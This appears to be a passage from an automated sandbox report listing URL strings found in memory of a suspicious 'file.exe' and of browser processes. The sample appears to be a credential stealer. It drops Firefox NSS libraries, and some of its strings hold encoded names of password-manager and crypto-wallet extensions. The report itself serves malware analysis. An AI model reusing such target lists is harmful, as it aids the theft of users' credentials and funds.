Source: chrome.exe, 00000002.00000002.2295892982.00007AA4001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/
Source: chrome.exe, 00000002.00000002.2297028224.00007AA40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/v1/issuetoken
Source: msedge.exe, 00000007.00000002.2339421784.00000854003A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://office.net/
Source: chrome.exe, 00000002.00000003.2167287326.00007AA40160C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2166878050.00007AA401658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com
Source: chrome.exe, 00000002.00000002.2338070274.00007AA400D28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com/$rpc/google.internal.onegoogle.asyncdata.v1.AsyncDataService/GetAsyn
Source: chrome.exe, 00000002.00000002.2308819677.00007AA400310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000002.00000003.2167287326.00007AA40160C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2166878050.00007AA401658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chrome.exe, 00000002.00000003.2167287326.00007AA40160C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2166878050.00007AA401658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: chrome.exe, 00000002.00000003.2142596792.00007AA4009F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2334520979.00007AA400AB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2338895768.00007AA400DB9000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2349181809.00007AA4012A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2338955195.00007AA400DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000002.00000002.2311229190.00007AA4004D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2341010114.00007AA400F20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2324344424.00007AA4006F9000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2338955195.00007AA400DC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335429223.00007AA400B7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000002.00000003.2142596792.00007AA4009F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2339011423.00007AA400DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2338895768.00007AA400DB9000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2338955195.00007AA400DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000002.00000002.2338895768.00007AA400DB9000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2349181809.00007AA4012A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 00000002.00000003.2142596792.00007AA4009F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2338895768.00007AA400DB9000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2349181809.00007AA4012A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2338955195.00007AA400DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000002.00000003.2142596792.00007AA4009F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2300482869.00007AA4002D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2338895768.00007AA400DB9000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2349181809.00007AA4012A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2338955195.00007AA400DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000002.00000003.2142596792.00007AA4009F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2334520979.00007AA400AB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2338895768.00007AA400DB9000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2349181809.00007AA4012A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2338955195.00007AA400DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000002.00000002.2335429223.00007AA400B7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000002.00000002.2311229190.00007AA4004D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: msedge.exe, 00000007.00000003.2259296270.0000085400288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2259131636.0000085400284000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/AddSession
Source: msedge.exe, 00000007.00000003.2259296270.0000085400288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2259131636.0000085400284000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/Logout
Source: msedge.exe, 00000007.00000003.2259296270.0000085400288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2259131636.0000085400284000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/LogoutYxABzenT
Source: msedge.exe, 00000007.00000003.2259296270.0000085400288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2259131636.0000085400284000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/MergeSession
Source: msedge.exe, 00000007.00000003.2259296270.0000085400288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2259131636.0000085400284000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/MergeSession0I)T
Source: msedge.exe, 00000007.00000003.2259296270.0000085400288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2259131636.0000085400284000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/OAuthLogin
Source: msedge.exe, 00000007.00000003.2259296270.0000085400288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2259131636.0000085400284000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/RotateBoundCookies
Source: msedge.exe, 00000007.00000003.2259296270.0000085400288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2259131636.0000085400284000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/chrome/blank.html
Source: msedge.exe, 00000007.00000003.2259296270.0000085400288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2259131636.0000085400284000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/o/oauth2/revoke
Source: msedge.exe, 00000007.00000003.2259296270.0000085400288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2259131636.0000085400284000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth/multilogin
Source: msedge.exe, 00000007.00000003.2259296270.0000085400288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2259131636.0000085400284000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v1/userinfo
Source: msedge.exe, 00000007.00000003.2259296270.0000085400288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2259131636.0000085400284000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v2/tokeninfo
Source: msedge.exe, 00000007.00000003.2259296270.0000085400288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2259131636.0000085400284000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v4/token
Source: msedge.exe, 00000007.00000003.2259296270.0000085400288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2259131636.0000085400284000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/reauth/v1beta/users/
Source: msedge.exe, 00000007.00000003.2259296270.0000085400288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2259131636.0000085400284000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/v1/issuetoken
Source: chrome.exe, 00000002.00000003.2145669546.00007AA400FA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2308367081.00007AA4002F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2331780672.00007AA4009C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000002.00000003.2148295796.00007AA40120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2148090446.00007AA401104000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2147866964.00007AA400430000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chromecache_468.4.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chrome.exe, 00000002.00000002.2334837766.00007AA400AE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2353748787.00007AA401870000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2341010114.00007AA400F20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.google.com/log?format=json&hasfast=truez
Source: chrome.exe, 00000002.00000002.2331780672.00007AA4009C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: chrome.exe, 00000002.00000003.2170961042.00007AA40173C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000002.00000003.2170961042.00007AA40173C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000002.00000003.2170961042.00007AA40173C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000002.00000003.2170961042.00007AA40173C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000002.00000003.2170961042.00007AA40173C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000002.00000002.2256630839.00007AA40009C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: chrome.exe, 00000002.00000002.2256709880.00007AA4000B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: chrome.exe, 00000002.00000002.2295892982.00007AA4001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 00000002.00000003.2170961042.00007AA40173C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000002.00000003.2170961042.00007AA40173C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: chrome.exe, 00000002.00000002.2325248874.00007AA4007C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2325168905.00007AA4007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2311229190.00007AA4004D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000002.00000002.2325248874.00007AA4007C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2325168905.00007AA4007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2311229190.00007AA4004D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactions
Source: chrome.exe, 00000002.00000002.2310524011.00007AA40040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2166878050.00007AA401658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: file.exe, 00000000.00000003.2489372397.0000000023AC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2489372397.0000000023AC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: chrome.exe, 00000002.00000002.2332066616.00007AA400A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: chrome.exe, 00000002.00000002.2295892982.00007AA4001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tasks.googleapis.com/
Source: file.exe, 00000000.00000002.2541883824.0000000023853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2541883824.0000000023853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2244830382.0000000000C20000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2311150516.00007AA4004A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: chrome.exe, 00000002.00000002.2312907378.00007AA40062C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chromecache_468.4.dr	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000002.00000003.2167610645.00007AA400D58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000002.00000002.2312907378.00007AA40062C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/Char
Source: chrome.exe, 00000002.00000002.2325442888.00007AA40080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/CharBl3
Source: chrome.exe, 00000002.00000002.2340297805.00007AA400EC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2
Source: chrome.exe, 00000002.00000002.2346072176.00007AA4011B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_promos
Source: content_new.js.9.dr	String found in binary or memory: https://www.google.com/chrome
Source: chrome.exe, 00000002.00000003.2170961042.00007AA40173C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: chrome.exe, 00000002.00000002.2331470320.00007AA400980000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2340297805.00007AA400EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2295892982.00007AA4001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2325308115.00007AA4007E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 00000002.00000002.2331470320.00007AA400980000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2340297805.00007AA400EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2295892982.00007AA4001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2325308115.00007AA4007E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: file.exe, 00000000.00000003.2244830382.0000000000C20000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2312397243.00007AA4005C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2311471047.00007AA40050C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2324411503.00007AA400704000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335270102.00007AA400B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000002.00000002.2310524011.00007AA40040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2166878050.00007AA401658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=ri&ogbl
Source: chrome.exe, 00000002.00000003.2166878050.00007AA401658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 00000002.00000003.2170961042.00007AA40173C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 00000002.00000003.2147866964.00007AA400430000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000002.00000002.2311229190.00007AA4004D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000002.00000002.2311229190.00007AA4004D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submitz
Source: chrome.exe, 00000002.00000002.2333721319.00007AA400A3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/undo
Source: chrome.exe, 00000002.00000003.2167287326.00007AA40160C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2166878050.00007AA401658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/url?q=https://google.com/chrome/safety%3Fbrand%3DKFKH%26utm_source%3Dweb%26ut
Source: chrome.exe, 00000002.00000002.2255739491.00007AA400013000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/
Source: chrome.exe, 00000002.00000003.2170961042.00007AA40173C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chrome.exe, 00000002.00000003.2170961042.00007AA40173C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 00000002.00000003.2170961042.00007AA40173C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 00000002.00000002.2297028224.00007AA40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 00000002.00000002.2297028224.00007AA40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 00000002.00000002.2297028224.00007AA40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 00000002.00000002.2297028224.00007AA40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 00000002.00000002.2312907378.00007AA40062C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 00000002.00000002.2312907378.00007AA40062C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chrome.exe, 00000002.00000002.2311229190.00007AA4004D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: chromecache_468.4.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_468.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_468.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: chrome.exe, 00000002.00000003.2167459921.00007AA4015A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000002.00000003.2166923537.00007AA401638000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2352255402.00007AA4015DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2167343625.00007AA4015D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2167426531.00007AA401588000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2167519952.00007AA401684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2167459921.00007AA4015A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000002.00000003.2167287326.00007AA40160C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2166878050.00007AA401658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.JsvYdB1VlTQ.2019.O/rt=j/m=q_d
Source: chrome.exe, 00000002.00000003.2167287326.00007AA40160C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2166878050.00007AA401658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd
Source: file.exe, 00000000.00000002.2517335011.0000000000EB6000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2517335011.0000000000EE4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000003.2489372397.0000000023AC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2517335011.0000000000EE4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000003.2489372397.0000000023AC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2517335011.0000000000EB6000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2517335011.0000000000EE4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000002.2517335011.0000000000EB6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/80x1024
Source: file.exe, 00000000.00000003.2489372397.0000000023AC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2517335011.0000000000EE4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000002.2517335011.0000000000EE4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: file.exe, 00000000.00000003.2489372397.0000000023AC4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2517335011.0000000000EE4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2489372397.0000000023AC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2517335011.0000000000EB6000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2517335011.0000000000EE4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2489372397.0000000023AC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2517335011.0000000000EB6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/kZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGp
Source: file.exe, 00000000.00000002.2517335011.0000000000EB6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/vRm9ybXxwbmxjY21vamNtZW9obHBnZ21mbmJiaWFwa21ibGlvYnwxfDB8MHx
Source: chrome.exe, 00000002.00000002.2334837766.00007AA400AE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: chrome.exe, 00000002.00000002.2324977041.00007AA400790000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000002.00000002.2342423736.00007AA40117C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2324977041.00007AA400790000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000002.00000002.2342423736.00007AA40117C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytcaogl
Source: chrome.exe, 00000002.00000002.2324977041.00007AA400790000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/b
